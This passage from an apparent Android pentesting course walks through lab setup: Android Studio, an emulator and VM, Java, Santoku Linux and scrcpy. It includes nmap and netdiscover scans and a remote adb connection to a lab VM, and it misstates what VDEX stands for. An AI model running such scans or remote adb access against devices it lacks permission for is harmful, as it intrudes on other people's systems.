-rw-r----- 1 system u0_a31001  471040 2023-08-22 09:50 system@priv-app@TeleService@TeleService.apk@classes.art
-rw-r----- 1 system u0_a31001   41600 2019-01-15 11:39 system@priv-app@TeleService@TeleService.apk@classes.dex
-rw-r----- 1 system u0_a31001 1986626 2023-08-22 09:50 system@priv-app@TeleService@TeleService.apk@classes.vdex
-rw-r--r-- 1 system u0_a31001  504448 2019-01-15 11:38 system@priv-app@TelephonyProvider@TelephonyProvider.apk@classes.dex
-rw-r--r-- 1 system u0_a31001  222524 2023-08-22 09:49 system@priv-app@TelephonyProvider@TelephonyProvider.apk@classes.vdex
-rw-r----- 1 system all_a34      8192 2023-08-22 09:50 system@priv-app@VpnDialogs@VpnDialogs.apk@classes.art
-rw-r----- 1 system all_a34     17024 2019-01-15 11:39 system@priv-app@VpnDialogs@VpnDialogs.apk@classes.dex
-rw-r----- 1 system all_a34      9472 2023-08-22 09:50 system@priv-app@VpnDialogs@VpnDialogs.apk@classes.vdex
-rw-r----- 1 system all_a32     12288 2023-08-22 09:49 system@priv-app@WallpaperCropper@WallpaperCropper.apk@classes.art
-rw-r----- 1 system all_a32     17024 2019-01-15 11:39 system@priv-app@WallpaperCropper@WallpaperCropper.apk@classes.dex
-rw-r----- 1 system all_a32    125460 2023-08-22 09:49 system@priv-app@WallpaperCropper@WallpaperCropper.apk@classes.vdex
x86_64:/data/dalvik-cache/x86_64 # x86_64:/data/dalvik-cache/x86_64 #
These optimized dex files are created on an app's first run, to enhance app performance. This process, known as dexopt, occurs during Android OS's initial startup.

VDEX stands for "Vdex Execution." VDEX files are used in the newer Android runtime environment, ART. Starting from Android 5.0 Lollipop, ART replaced Dalvik as the default runtime. VDEX files are part of the ART's compilation and optimization process.

Let’s briefly give an overview of the files present in the x86_64 subdirectories:

  • The /system/app directory contains optimized .dex files and .vdex files for various system apps like AndroidTerm and WebViewGoogle .
  • The system/framework/ directory contains optimized .dex files and .vdex files for various framework components such as android.hidl.base , android.hidl.manager , boot-android.hidl.base , boot-android.hidl.manager , and more.

Each app or framework has its associated .dex file, which contains the compiled code, and a corresponding .vdex file, which contains verification data to speed up the app's loading process. This provides a comprehensive understanding of how apps are structured and managed on the Android system.

In this article, we've delved into the world of APK file storage locations and learned how to extract these files from their storage spots. 

In our next article, we are going to explore Android App Components. So, keep waiting till then. 

If you have any questions about the content we've covered, feel free to leave a comment in the comment section below.

Setting Up the Android Pentest & Reversing Lab Lesson 8 of 38
In Progress

Setting up Lab for Android Penetration Testing and Reverse Engineering

 Hello everyone, welcome to our latest playlist! Throughout this series, we're embarking on a journey to establish a solid foundation for Android app Penetration Testing and Reverse Engineering labs. 

Our mission is to consolidate all the essential tools needed for Android security into a user-friendly toolkit. In this chapter, we'll be diving into critical subjects, which include:

In this section will guide you through the process of installing Android Studio, setting up an AVD (Android Virtual Device), and creating your first Android APK file.


Setting up JAVA on Windows
Settings Up an Android Virtual Device(AVD) Emulator using Android Studio
Build Your First Android App with Android Studio

In this section, We'll cover a comprehensive range of tools in this part, including Apktool, Dex2jar/jd-gui, Burp Suite, Dozer, Frida, Cydia Substrate, Introspy, SQLite browser, and the Advanced REST Client for Chrome.


Apktool
Dex2jar/JD-GUI
Drozer
QARK (No support for windows)
Advanced REST Client for Chrome
Droid Explorer
Cydia Substrate and Introspy
SQLite browser
Frida
Vulnerable apps
Kali Linux
Santoku Linux

In this phase, we will explore various vulnerable Android applications, providing hands-on experience in real-world scenarios.


Vulnerable Applications

In this session, We'll focus on the versatile capabilities of adb and scrcpy in this section.


Android Debug Bridge
Scrcpy
ADB ToolKit

By the time you finish these videos, you'll have a strong grasp of how to establish your Android Hacking lab. This foundational knowledge serves as a stepping stone for delving into advanced areas like reverse engineering and penetration testing within the dynamic Android app landscape. Thank you for joining us on this educational journey! We appreciate your presence on this enlightening journey of learning!

Setting Up the Android Pentest & Reversing Lab Lesson 9 of 38
In Progress

Setting Up an Android Virtual Device (AVD) Emulator

To get hands-on experience with most of the concepts in this series, readers must have an emulator or a real Android device (preferably a rooted device) up and running. Firstly, we have to download and install Android Studio.

Android Studio is the official IDE for Android application development, based on IntelliJ IDEA. Eclipse used to be the IDE for Android Application development before Android Studio was introduced. 

Android Studio was in the early access preview stage, starting with version 0.1 in May 2013, and then entered the beta stage starting with version 0.8, which was released in June 2014. The first stable build was released in December 2014, starting with version 1.0.

Steps to Install Android Studio on Windows

Step 1: Download Android Studio and run the installer.

Step 2: Click next till the following window appears:

This window shows us the options for the tools to be installed. It is suggested you check to install Android Virtual Device (AVD), which is used to run emulators with Android Studio.

Step 3: Choose the installation location for Android Studio. If you don't have any specific choices, leave them to the default values.

Step 4: The following step allows us to choose the name for Android Studio in the start menu. Again, you can leave it to the default value if you don't have any specific choice.

Step 5: Continue the installation by clicking Next till the following screen appears. This finishes our Android Studio installation.

Step 6: When you click Finish in the preceding window, the following screen will be shown. 

If you have installed an older version of Android Studio, choose its location to import your previous settings. If this is a fresh installation on this machine, choose if I do not have a previous version of Studio, or I do not want to import my settings.

Step 7: Clicking the OK button will start Android Studio, as shown here.

Step 8: Once it is loaded, we will be greeted with a window, where we need to choose the UI theme. Select one of the themes and click Next.

Step 9: Clicking Next in the previous window will download the latest SDK components and the emulator. Before that accept the license agreement.

Step 10: Finally, click Finish and you should be greeted with the following window. This completes our installation:

Step 11: To create a new sample application, click Start a new Android Studio project.

Step 12: Select a Blank Activity, as shown here, and click Next:

Step 13: Choose a name for your app under the Application name. Let’s leave the options to their defaults.

Step 14: Finally, click Finish to complete the setup. It will take some time to build our first My Application app:

Wait for all initialization to finish when you see the previous screen.

Setting up an AVD

Step 1: Click on Tools at the top of the Android Studio interface, and then click on the Device Manager.

Step 2: This will open the following tab on the right side.

Step 3: Click the Create Virtual Device button. This will display a window.  

Step 4: Now, choose your device definition. I chose the Pixel 4 device with Play Store support, to create an emulator of large screen size.

Step 5: Click Next, and you will see the following window where you have to select a system image. From here you have to download a recommended system image to proceed further. 

Step 6: Finally, give your AVD a name and click Finish.

Step 7: Once you are done with the previous steps, you should see a virtual device, as shown on my screen.

Step 8: Select configured emulator, and click on the Play button, to start the emulator.

When it's ready, you should see an emulator interface. This process may take 5 to 15 min as per system performance, so keep calm and quiet.
android emulator
Setting Up the Android Pentest & Reversing Lab Lesson 10 of 38
In Progress

Setting Up Java for Android Studio on Windows

Java constitutes an essential dependency for various tools, including Android Studio and Burp Suite. While Android Studio has introduced its own programming language, Kotlin, in recent times, a select group of developers still prioritize Java.

Hello everyone. In today's tutorial, we'll provide you with a step-by-step guide to smoothly install Java on the Windows platform.

Let's begin by checking if Java is already installed on my Windows system. 

As you can observe, Java is absent, so we need to install it.

To begin, let's initiate the process of downloading the Java Development Kit (JDK) executable file for the Windows platform.

In this case, I'm opting for the x64 installer

Once the download is complete, run the installer. During installation, you can generally stick with the default settings unless you have specific reasons to make changes. 

Click "Next" until you reach the successful installation screen. 

Once Java is installed on your system, Android Studio requires a correctly set up JDK.

Set up JDK

Follow the below steps to setup JDK:

1. Configure the "JAVA_HOME" Environment Variable:

a. Open the Start menu and search for "Environment Variables." 

b. Click on "Edit the system environment variables." 

c. Within the System Properties window, access the "Environment Variables" button. 

d. In the "System variables" section, click "New" to create a new variable. 

Assign the Variable name as JAVA_HOME and the Variable value as the path to your JDK installation directory (C:\Program Files\Java\jdk-20).

Click "OK" to save this new environment variable.

2. Add the Java Bin Directory(C:\Program Files\Java\jdk-20\bin) to the PATH. 

a. Still, within the Environment Variables window, locate the "Path" variable under the "System variables" section and select it. 

b. Click "Edit" and the Edit Environment Variable window, click "New" and add the path to the "bin" directory within your JDK installation directory. 

Click "OK" to preserve the changes.

To verify the successful installation and functioning of Java on your system, open a new command prompt and execute the command "java -version." This command will display the version details if Java is properly installed.

In our next article, we'll delve into the installation of Android Studio and guide you through the setup of an Android Virtual Device (AVD) Emulator. If you have any inquiries or encounter issues, feel free to share them in the comment section.

Setting Up the Android Pentest & Reversing Lab Lesson 11 of 38
In Progress

Setting up Android Pentest & Reversing for Linux Environment

Hello everyone, welcome back to a new article. Today, we'll be recapping our recent learnings. In our previous sessions, we set up a lab environment for Android Mobile Penetration Testing and Reverse Engineering.

We covered the installation of Android Studio and setting up an Android Virtual Device (AVD). We also introduced tools like APKTool, Dex2jar, JD-GUI, and Dozer, which are valuable for future Android Penetration Testing and Reverse Engineering endeavors.

In those previous articles, I haven't covered the process of setting them up in a Linux environment, and I've also not discussed the common challenges that arise with Android Virtual Devices (AVDs) . Android Studio demands a dedicated graphics card for smooth AVD operation, implying the need for high-end hardware to ensure seamless performance.

However, the main emphasis of this article is directed toward crafting a lab environment that caters to the capabilities of low-end devices. This configuration holds significant importance for engaging in Android app penetration testing and reverse engineering activities.

To begin, we'll initiate the process of setting up an Android Virtual Device within a Virtual Machine. 

Setting up an Android Virtual Device within a Virtual Machine

While there are various Android ISO images available for manual installation, you won't need to follow those steps. You can conveniently download the required files from the link I've provided in my blog.

Click Here to Download: 

Here, on my screen, you'll notice an " Android.ova " file. 

This particular file can be directly configured and launched without encountering any complications. Once you've got it, fire up VirtualBox. 

Click " File," and select " Import Appliance ." 

Import the downloaded OVA file. Locate the file on your computer, then click " Next ." 

Review the settings or customize them as needed. Hit " Finish " to begin the import process.

After the import is done, you'll spot the "Android" virtual machine in the VirtualBox Manager. 

Choose it, click on "Settings,"

 And switch the network adapter to " Host-only adapter ."

With that done, we're ready to kick-start the VM. Android is up and running! 

You can now use the Android VM just like you would on an actual Android phone. It's a great alternative to the Android Emulator.

Access Android VM from Kali Linux

To access the Android VM, we'll be using Kali Linux. If you're not familiar with Kali Linux, take a look at my article on the blog.

Alright, Kali Linux is good to go. First, we need the IP address of the Android VM. Run the following command: 

┌──(kali㉿kali)-[~]
└─$sudo netdiscover -i eth1
 Currently scanning: 192.168.103.0/16   |   Screen View: Unique Hosts                     
 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.95.101  08:00:27:0b:49:6e      2     120  PCS Systemtechnik GmbH 
 192.168.95.116  0a:00:27:00:00:0e      1      60  Unknown vendor 
 192.168.95.118  08:00:27:fc:ad:b9      1      60  PCS Systemtechnik GmbH 

The result will show the IP address, such as 192.168.95.118.

Now that we have the IP address, we need the Port ID to connect via adb. Let's scan the network using Nmap.

┌──(kali㉿kali)-[~]
└─$ nmap -A -p- 192.168.95.118
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-16 15:25 EDT
Nmap scan report for 192.168.95.118
Host is up (0.00094s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: android_x86_64; model: VirtualBox; device: x86_64; features: cmd,stat_v2,shell_v2)
Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.94 seconds
┌──(kali㉿kali)-[~]
└─$ 

Upon scanning, we'll spot an open Port that we need. This running server is adb, which facilitates communication between different network services over a network.

If you've read this article, you have a basic understanding of ADB installation on Windows. If not, make sure to catch up.

ADB doesn't come pre-installed on Kali Linux, so we have to install it. To install it, run the following command:

┌──(kali㉿kali)-[~]
└─$ sudo apt-get install adb

With the installation completed, we're all set to establish a connection with the Android Virtual Machine.

To connect to the Android Virtual Machine, employ the following command, making sure to input the IP of the Android VM, followed by specifying the open Port.

┌──(kali㉿kali)-[~]
└─$ adb connect 192.168.95.118:5555 
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.95.118:5555
┌──(kali㉿kali)-[~]
└─$ 

Once connected, run adb devices, to list the devices connected to the workstation. 

┌──(kali㉿kali)-[~]
└─$ adb devices                    
List of devices attached
192.168.95.118:5555     device                                                             
┌──(kali㉿kali)-[~]
└─$ 

For a list of basic adb commands and their usage, check out my blog. 

Installing Scrcpy on Kali Linux

For showcasing the Android VM, we'll utilize Scrcpy. If you've followed along with this article, you're already familiar with how we've set up Scrcpy on Windows .

Similar to ADB, Scrcpy isn't included by default in Kali Linux. After conducting a Google search, I came across the official documentation provided by Genymotion. As I scrolled down, I discovered the installation steps tailored for Linux. 

Scrcpy is packaged in several distributions and package managers:

apt install scrcpy                                      # Debian/Ubuntu
pacman -S scrcpy                                              # Arch Linux
dnf copr enable zeno/scrcpy && dnf install scrcpy      # Fedora
emerge scrcpy                                                  # Gentoo
snap install scrcpy                                        # Snap

I attempted to execute the provided command but encountered an " unable to locate package " error, indicating that it didn't work as intended.

┌──(kali㉿kali)-[~]
└─$ sudo apt install scrcpy
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package scrcpy

┌──(kali㉿kali)-[~]
└─$ 

To overcome this, I decided to proceed with the manual installation steps

Referring to the installation instructions on Scrcpy's GitHub repository , I started by installing the necessary packages. Copy and paste it into the terminal, following which I responded with "y" to proceed.

┌──(kali㉿kali)-[~]
└─$ # for Debian/Ubuntu
sudo apt install ffmpeg libsdl2-2.0-0 adb wget \
                 gcc git pkg-config meson ninja-build libsdl2-dev \
                 libavcodec-dev libavdevice-dev libavformat-dev libavutil-dev \
                 libswresample-dev libusb-1.0-0 libusb-1.0-0-dev

Once the necessary packages are installed, copy the second command and paste it on the terminal. 

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/Genymobile/scrcpy
cd scrcpy
./install_release.sh

This command will clone the repository and execute the installation script automatically. This phase required some time to complete.

Upon a successful installation, we are now prepared to run Scrcpy, enabling to display and control of an Android virtual machine on the computer screen. To verify its functionality, execute the Scrcpy command and observe its behavior.

┌──(kali㉿kali)-[~]
└─$ scrcpy

Installing Android SDK Toolkit on Kali Linux

Certain essential applications are missing from the Kali Linux distribution, such as the Android SDK tools, which encompass the Android build tools. 

While adb is often associated with Platform tools, SDK tools play a crucial role in manual Android applications and DEX file creation. 

To install the Android SDK on Kali Linux, first, we have to update the repository using the command sudo apt-get update. 

┌──(kali㉿kali)-[~]
└─$sudo apt-get update                  
[sudo] password for kali: 
Get:1 http://kali.download/kali kali-rolling InRelease [41.2 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [19.4 MB]
Get:3 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [45.6 MB]                                                
Get:4 http://kali.download/kali kali-rolling/contrib amd64 Packages [115 kB]                                                    
Get:5 http://kali.download/kali kali-rolling/contrib amd64 Contents (deb) [220 kB]                                              
Get:6 http://kali.download/kali kali-rolling/non-free amd64 Packages [218 kB]                                                   
Get:7 http://kali.download/kali kali-rolling/non-free amd64 Contents (deb) [908 kB]                                             
Fetched 66.4 MB in 15min 42s (70.6 kB/s)                                                                                        
Reading package lists... Done
┌──(kali㉿kali)-[~]
└─$

After this, proceed to install the SDK manager. You can achieve this by running sudo apt-get install sdkmanager.

┌──(kali㉿kali)-[~]
└─$ sudo apt-get install sdkmanager

Once the SDK manager is successfully installed, the next step involves downloading Platform-tools and Build Tools onto Kali Linux. Execute the following command:

┌──(kali㉿kali)-[~]
└─$ sudo sdkmanager "platform-tools" "build-tools; 30.0.3" "platform; android-30"

This will facilitate the automatic download of platform tools and build tools, with the target platform set to version 30.

[sudo] password for kali:
Downloading https://dl.google.com/android/repository/platform-tools_r34.0.4-linux.zip into /root/.cache/sdkmanager/platformtools_r34.0.4-linux.zip
Unzipping to /tmp/.sdkmanager-jtmxk5cj
Installing into /opt/android-sdk/platform-tools
Downloading https://dl.google.com/android/repository/build-tools_r30.0.3-linux.zip into /root/.cache/sdkmanager/build-tools_r30.0.3-linux.zip
Unzipping to /tmp/.sdkmanager-p9cmbtb
Installing into /opt/android-sdk/build-tools/30.0.3
Downloading https://dl.google.com/android/repository/platform-30_r03.zip into /root/.cache/sdkmanager/platformtools_r34.0.4-linux.zip
Unzipping to /tmp/.sdkmanager-_143jsym
Installing into/opt/android-sdk/platforms/android-30

┌──(kali㉿kali)-[~]
└─$ 

You have the flexibility to adjust the targeted platform value according to your preferences. Once the installation is complete, you can easily identify the storage location of the build tools. 

To verify the successful installation of these build tools, simply check the designated installation directory. 

┌──(kali㉿kali)-[~]
└─$ cd /opt/android-sdk/build-tools/30.0.3
┌──(kali㉿kali)-[/opt/android-sdk/build-tools/30.0.3]
└─$ ls -al                                
total 18412
drwxr-xr-x 6 root root    4096 Aug 26 05:58 .
drwxr-xr-x 3 root root    4096 Aug 26 05:58 ..
-rwxr-xr-x 1 root root 1543856 Aug 26 05:58 aapt
-rwxr-xr-x 1 root root 5833176 Aug 26 05:58 aapt2
-rw-r--r-- 1 root root     343 Aug 26 05:58 aarch64-linux-android-ld
-rwxr-xr-x 1 root root 3599152 Aug 26 05:58 aidl
-rwxr-xr-x 1 root root    2959 Aug 26 05:58 apksigner
-rw-r--r-- 1 root root     343 Aug 26 05:58 arm-linux-androideabi-ld
-rwxr-xr-x 1 root root   39488 Aug 26 05:58 bcc_compat
-rw-r--r-- 1 root root   18159 Aug 26 05:58 core-lambda-stubs.jar
-rwxr-xr-x 1 root root    2598 Aug 26 05:58 d8
-rwxr-xr-x 1 root root 4097872 Aug 26 05:58 dexdump
-rwxr-xr-x 1 root root    2577 Aug 26 05:58 dx
-rw-r--r-- 1 root root     343 Aug 26 05:58 i686-linux-android-ld
drwxr-xr-x 2 root root    4096 Aug 26 05:58 lib
drwxr-xr-x 2 root root    4096 Aug 26 05:58 lib64
-rwxr-xr-x 1 root root     647 Aug 26 05:58 lld
drwxr-xr-x 2 root root    4096 Aug 26 05:58 lld-bin
-rwxr-xr-x 1 root root 1093784 Aug 26 05:58 llvm-rs-cc
-rwxr-xr-x 1 root root    4732 Aug 26 05:58 mainDexClasses
-rw-r--r-- 1 root root     310 Aug 26 05:58 mainDexClassesNoAapt.rules
-rw-r--r-- 1 root root     758 Aug 26 05:58 mainDexClasses.rules
-rw-r--r-- 1 root root     343 Aug 26 05:58 mipsel-linux-android-ld
-rw-r--r-- 1 root root  766452 Aug 26 05:58 NOTICE.txt
-rw-r--r-- 1 root root   17806 Aug 26 05:58 package.xml
drwxr-xr-x 5 root root    4096 Aug 26 05:58 renderscript
-rw-r--r-- 1 root root      17 Aug 26 05:58 runtime.properties
-rw-r--r-- 1 root root      63 Aug 26 05:58 source.properties
-rwxr-xr-x 1 root root 1502920 Aug 26 05:58 split-select
-rw-r--r-- 1 root root     343 Aug 26 05:58 x86_64-linux-android-ld
-rwxr-xr-x 1 root root  232120 Aug 26 05:58 zipalign
┌──(kali㉿kali)-[/opt/android-sdk/build-tools/30.0.3]
└─$ 

Within this directory, you'll discover a comprehensive assortment of invaluable tools that play a pivotal role throughout the entire Android APK building process.

Downgrade the Java to JDK-8

An important point to keep in mind is that Java plays a significant role in Android app reverse engineering

While Kali Linux does come with Java pre-installed, it's worth noting that the latest version of Java might not function optimally with various Android build applications. As a result, it becomes necessary to downgrade Java to an earlier version. 

In my case, I've chosen to work with JDK-8 for this purpose. During my attempt to install JDK-8 using the command, sudo apt-install openjdk-8-jdk, I encountered an error stating " Unable to locate package ." 

┌──(kali㉿kali)-[~]
└─$sudo apt install openjdk-8-jdk
[sudo] password for kali: 
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package openjdk-8-jdk
┌──(kali㉿kali)-[~]
└─$

To address this issue, I'll guide you through the manual installation of JDK-8. You can apply similar steps to install other versions as well.

Open your preferred web browser, and navigate to this URL. 

This webpage will offer access to the installation and archive files for JDK-8. 

We'll specifically target the Linux version for installation. However, you'll notice various architecture options available. To determine your system's architecture, execute the command " uname -a " in your terminal. 

┌──(kali㉿kali)-[~]
└─$ uname -a
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64GNU/Linux
┌──(kali㉿kali)-[~]
└─$

Upon checking the result, I discovered that my system employs the x86_64 architecture. Consequently, I will download the x64 archive file. After completing the download, the next step is to prepare for the installation of JDK-8. 

Navigate to the directory where the download is located. 

Once there, extract the downloaded file. 

After extraction, rename the folder to, " jdk-8 ." 

To proceed, move this renamed folder to the /usr/lib/jvm directory. Open a new terminal, and navigate to the download directory and Execute the "mv" command to relocate the folder to its new destination.

┌──(kali㉿kali)-[~]
└─$ cd Downloads                  
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo mv jdk-8 /usr/lib/jvm 
┌──(kali㉿kali)-[~/Downloads]
└─$ 

Now, let's execute the following command: 

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-8/bin/java 1
This command instructs the system to add a new alternative for the Java executable. It designates the new alternative's location as ` /usr/lib/jvm/jdk-8/bin/java ` and assigns it a priority of 1. This means that if other alternatives for the `java` command exist, the system will give preference to the one specified in this command with a priority value of 1. This approach proves valuable for managing multiple versions of a program and seamlessly switching between them.

Similarly, we proceed to add new alternatives for other executables. Replace the word "java" with " javac " to add a new alternative for the Java compiler.

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-8/bin/javac 1
┌──(kali㉿kali)-[~/Downloads]
└─$

And then repeat the process for the "jar" command.

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk-8/bin/jar 1
┌──(kali㉿kali)-[~/Downloads]
└─$

Having successfully installed Java 8, the next step is to configure it as the default Java runtime environment (JRE) interactively. This configuration is especially handy when dealing with multiple installed Java versions, and you wish to designate one as the default.

To achieve this, enter the command ` sudo update-alternatives --config java ` in the terminal. 

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo update-alternatives --config java 
There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                         Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java   1711      auto mode
  1            /usr/lib/jvm/java-17-openjdk-amd64/bin/java   1711      manual mode
  2            /usr/lib/jvm/jdk-8/bin/java                   1         manual mode

Press <enter> to keep the current choice[*], or type selection number:

This command prompts the system to present you with two alternative options for Java. You'll need to choose the number corresponding to the location of jdk-8 and press "Enter."

Press <enter> to keep the current choice[*], or type selection number: 2
update-alternatives: using /usr/lib/jvm/jdk-8/bin/java to provide /usr/bin/java (java) in manual mode
┌──(kali㉿kali)-[~/Downloads]
└─$

By following this step, you'll effectively update Kali Linux to use Java 8. In case you wish to revert to the previous Java version, simply execute a similar command and select the desired alternative.

┌──(kali㉿kali)-[~/Downloads]
└─$ java -version                        
java version "1.8.0_381"
Java(TM) SE Runtime Environment (build 1.8.0_381-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.381-b09, mixed mode)
┌──(kali㉿kali)-[~/Downloads]
└─$ 

These steps provide a robust mechanism for managing different Java versions of your system.

┌──(kali㉿kali)-[~]
└─$ javac -version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
javac 17.0.8
┌──(kali㉿kali)-[~]
└─$ 

However, the Java compiler has not yet been updated to version 8. To achieve this, run the same command as before, but replace "java" with "javac." Then select the alternative "javac" option when prompted.

┌──(kali㉿kali)-[~]
└─$ sudo update-alternatives --config javac
There are 2 choices for the alternative javac (providing /usr/bin/javac).

  Selection    Path                                          Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/javac   1711      auto mode
  1            /usr/lib/jvm/java-17-openjdk-amd64/bin/javac   1711      manual mode
 2            /usr/lib/jvm/jdk-8/bin/javac                   1         manual mode

Press <enter> to keep the current choice[*], or type selection number: 2
update-alternatives: using /usr/lib/jvm/jdk-8/bin/javac to provide /usr/bin/javac (javac) in manual mode
┌──(kali㉿kali)-[~]
└─$ javac -version
javac 1.8.0_381
┌──(kali㉿kali)-[~]
└─$ 

Likewise, proceed to update the path for the jar file. 

┌──(kali㉿kali)-[~]
└─$ sudo update-alternatives --config jar 
There are 2 choices for the alternative jar (providing /usr/bin/jar).

  Selection    Path                                        Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/jar   1711      auto mode
  1            /usr/lib/jvm/java-17-openjdk-amd64/bin/jar   1711      manual mode
 2            /usr/lib/jvm/jdk-8/bin/jar                   1         manual mode

Press <enter> to keep the current choice[*], or type selection number: 2
update-alternatives: using /usr/lib/jvm/jdk-8/bin/jar to provide /usr/bin/jar (jar) in manual mode
┌──(kali㉿kali)-[~]
└─$ 

Once these changes are made, you can verify them by checking the version:

┌──(kali㉿kali)-[~/Downloads]
└─$ java -version                         
java version "1.8.0_381"
Java(TM) SE Runtime Environment (build 1.8.0_381-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.381-b09, mixed mode)
┌──(kali㉿kali)-[~]
└─$javac -version
javac 1.8.0_381
┌──(kali㉿kali)-[~]
└─$ 

There is some additional information that I have provided you in this video that can prove valuable for testing Android applications during Penetration Testing and Reverse Engineering. If you have any uncertainties or questions, please feel free to leave them in the comment section below.

Setting Up the Android Pentest & Reversing Lab Lesson 12 of 38
In Progress

Santoku Linux: Dedicated OS for Mobile Forensics & Analysis

Santoku Linux is a Ubuntu Based Distribution that is focused on Mobile Forensics, Analysis, and Security. It comes with pre-installed platform drivers SDKs, and utilities and also allows auto-detection and setup of new connected mobile devices. It is a free and open community project sponsored by NowSecure.

It is always suggested you, do not install the Santoku Linux as your native Operating System, so install it on Virtualization software like VMware or VirtualBox to prepare for network-level attacks on Android devices.

Let’s take a look at its installation steps and overlook its basic scenarios.

Steps to Install Santoku Linux on VirtualBox  

1. Firstly, visit its official webpage and download the ISO image. 

Click here: http://santoku-linux.com/download/

2. Open VirtualBox and click on Create new.

3. Choose a descriptive name, select the type of the Operating System, and also select the version. 


4. Click next and allocate the size of the Memory. 

5. Click next and choose “create a virtual disk now”. 

6. From here choose the hard disk file type and click on next. 

7. From here set the size of the disk and then click on create.

8. Once a new Virtual Machine image is created, upload the disk image file to storage ( settings >> Storage).

9. Click on start, to boot the virtual machine, and then choose Install to start the installer directly.

10. Choose your preferred language and continue. 

11. This screen provides a piece of information about Santoku Linux. For better performance checkmark on install this third-party software and click on continue.

12. From here select the installation type to erase the disk and install Santoku. 

From here you no need to change anything else, so click on install to start the installation. 

The installation started in the background, no need to worry about it. So we proceed with further steps. 

13. Select the country and click on continue. 

14. Choose your keyboard layout and continue.

15. Provide the name and password. Now click on continue. Wait till the end of the installation, it might take time depending upon resources allocated to VM.

16. On completion of the process of installation, you need to restart the VMs in order to use the new installation.

17. Login with the password:

18. After installation, our first priority is to install the virtual box guest box addition. Before that let me update the repository using sudo apt-get update command. 

If you got something like this error, you have to upgrade the Ubuntu distribution. 

19. Upgrade Ubuntu Linux system from Santoku Menu à System Tools à Update Manager.


20. Click on Upgrade to upgrade the Ubuntu Distribution.

It will take time to complete the installation.

21. After the Distribution Upgrade, reboot the system. After a successful reboot, a new login screen will appear in front of the screen:

21. From the menu bar at the bottom section, click on Device and Insert Guest Additions CD image. Open the CD image in File manager. 

Click OK to Open VBox Guest Addition in File Manager:

22. Open the terminal by pressing CTRL + ALT + T. Change the directory to cd image.

    santoku@santoku-virtualbox:~$ cd /media/santoku/VBox_GAs_x.xx.xx

    23. Run the Virtual Box Linux addition script to complete the initialization.

    santoku@santoku-virtualbox:/media/santoku/VBox_GAs_x.xx.xx$ sudo ./VBoxLinuxAdditions.run

    After completion reboot the system.

    santoku@santoku-virtualbox:/media/santoku/VBox_GAs_x.xx.xx$ sudo reboot
    Since each vulnerability analysis area requires different tools to examine the security configuration of the application, the tools of Santoku are categorized into five areas: 
    • Development tools, 
    • Device Forensics tools, 
    • Penetration testing tools, 
    • Reverse engineering tools, and 
    • Wireless analyzers tools

    In my next article, I am going to demonstrate the tools separately. 
    Android Debug Bridge (ADB) & Device Interaction Lesson 13 of 38
    In Progress

    ADB (Android Debugging Bridge): Comprehensive Guide

    ADB (Android Debugging Bridge) plays the most important role in modifying your Android Device.
    In simple words, Android Debug Bridge (ADB) is a versatile command-line tool that lets you communicate with a device.

    ADB allows you to

    • Install, copy, and delete files;
    • Install a program on a device;
    • Record a video or take a screenshot of the phone;
    • Debug a device in case of its malfunction;
    • Examine logs on the phone;
    • Upgrade the firmware of the programs and system elements;
    • Get full access to information about OS and a device.

    Install ADB on Windows

    • To install visit ADB Platform Tools for Windows. 
    • Download and Extract the file.
    • Move/Copy the directory to C:\ drive and Rename it to "adb".
    • Set up Environment Variable.
    ┌──(mrdev㉿kali)-[~]
    └─$ sudo apt-get install android-tools-adb
    ┌──(mrdev㉿kali)-[~]
    └─$ sudo apt-get install adb
    ┌──(mrdev㉿kali)-[~]
    └─$ adb
    Android Debug Bridge version 1.0.41
    Version 28.0.2-debian
    Installed as /usr/lib/android-sdk/platform-tools/adb
    global options:
     -a         listen on all network interfaces, not just localhost
     -d         use USB device (error if multiple devices connected)
     -e         use TCP/IP device (error if multiple TCP/IP devices available)
     -s SERIAL  use device with given serial (overrides $ANDROID_SERIAL)
     -t ID      use device with given transport id
     -H         name of adb server host [default=localhost]
     -P         port of adb server [default=5037]
     -L SOCKET  listen on given socket for adb server [default=tcp:localhost:5037]
    general commands:
     devices [-l]             list connected devices (-l for long output)
     help                     show this help message
     version                  show version num

    networking:
     connect HOST[:PORT]      connect to a device via TCP/IP [default port=5555]
     disconnect [HOST[:PORT]]
         disconnect from given TCP/IP device [default port=5555], or all
     forward --list           list all forward socket connections
     forward [--no-rebind] LOCAL REMOTE

         forward socket connection using:
           tcp:<port> (<local> may be "tcp:0" to pick any open port)
           localabstract:<unix domain socket name>
           localreserved:<unix domain socket name>
           localfilesystem:<unix domain socket name>

